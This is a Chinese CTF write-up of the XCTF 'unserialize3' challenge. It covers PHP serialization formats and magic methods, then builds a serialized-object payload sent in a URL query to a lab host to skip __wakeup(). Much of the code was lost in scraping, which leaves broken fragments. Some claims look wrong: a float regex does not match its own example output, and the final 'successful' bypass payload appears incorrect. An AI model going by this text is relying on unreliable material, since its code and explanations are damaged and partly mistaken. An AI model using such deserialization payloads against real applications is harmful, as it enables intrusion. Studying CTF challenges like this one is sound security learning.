unserialize3 writeup
php 序列化
序列化是程序类型转化为字符串的过程
字符串的序列化
- [/code]得到的输出是
- [code]s:7:"faraday";
复制代码 可以统一表达为正则的形式整型的序列化
用正则表达则是浮点数的序列化
- [/code]得到的输出是
- [code]d:1.1;
复制代码 用正则表达则是- '/d:[0-9\.]+E[+-][0-9]+;/'
复制代码 布尔值的序列化
用正则表达则是数组的序列化
- [/code]得到的输出是
- [code]a:5:{i:0;i:1;
- i:1;d:1.1;i:2;s:1:"a";i:3;b:1;i:4;N;}
复制代码 分析一下结构
我们提取每一项的子串,如i:0 表示该项的 index 是 0;i:1 表示该项是一个整型,值为 1。
用正则表达则是- '/a:[0-9]+:{(i:[0-9]+;|d:[0-9\.]+E[+-][0-9]+;|s:[0-9]+:"[^"]+";|b:0;|b:1;|N;)*}/'
复制代码 对象的序列化
- [/code]得到的输出是
- [code]O:6:"class1":4:{s:1:"a";i:1;s:1:"b";d:1.1;s:1:"c";s:1:"a";s:1:"d";a:1:{i:0;i:1;}}
复制代码 分析一下结构
- O 表示该对象类型为对象
- 6 表示对象名长度为 6
- "class1"是对象名
- 4 表示该对象有 4 个属性
- {}内的部分则表示每个属性
提取一下子串表示属性名为 a 的属性是整型,值为 1
php 反序列化
反序列化是程序将符合一定格式的字符串转化为程序类型的方法- [/code]得到输出
- [code]O:6:"class1":4:{s:1:"a";i:1;s:1:"b";d:1.1;s:1:"c";s:1:"a";s:1:"d";a:1:{i:0;i:1;}}
- class1 Object
- (
- [a] => 1
- [b] => 1.1
- [c] => a
- [d] => Array
- (
- [0] => 1
- )
- )
复制代码 魔术方法
魔术方法以"__"开头,跟反序列化过程相关的魔术方法有
- __sleep() - 对象序列化之前触发,返回一个数组指定需要序列化的属性。
- __wakeup() - 对象反序列化之后立即触发。可用于反序列化后的初始化操作。
- __set_state() - 当使用 var_export()导出类时触发,用于返回要导出的属性数组。
- __clone() - 对象复制时触发,用于实现对象的深拷贝。
- __destruct() - 对象销毁前触发,可用于自定义销毁前的操作。
- __tostring() - 可以控制对象进行字符串转换时的字符串表示。
- __debuginfo() - 用于定制对象的调试信息。当对象被 var_dump()处理时被调用。
- __get()/__set()/__isset()/__unset() - 用于实现属性的自定义访问。
- __call()/__callStatic() - 调用不可访问方法时触发。
- __serialize()/__unserialize() - 自定义序列化/反序列化的实现。
unserialize3
回到题目,访问场景后得到:- class xctf{
- public $flag = '111';
- public function __wakeup(){
- exit('bad requests');
- }
- ?code=
复制代码 反序列化后立即触发__wakeup()
我们首先序列化一下- [/code]得到输出
- [code]O:4:"xctf":1:{s:4:"flag";s:3:"111";}
复制代码 构造 url- http://61.147.171.105:57300/index.php?code=O:4:%22xctf%22:1:{s:4:%22flag%22;s:3:%22111%22;}
复制代码 果然得到输出
bad requests
这说明我们对 php 的执行逻辑理解是正确的
接下来考虑如何避免触发__wakeup()
首先考虑类似 bof 的构造- O:3:"xctf":1:{s:4:"flag";s:3:"111";}
复制代码 果然成功了

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |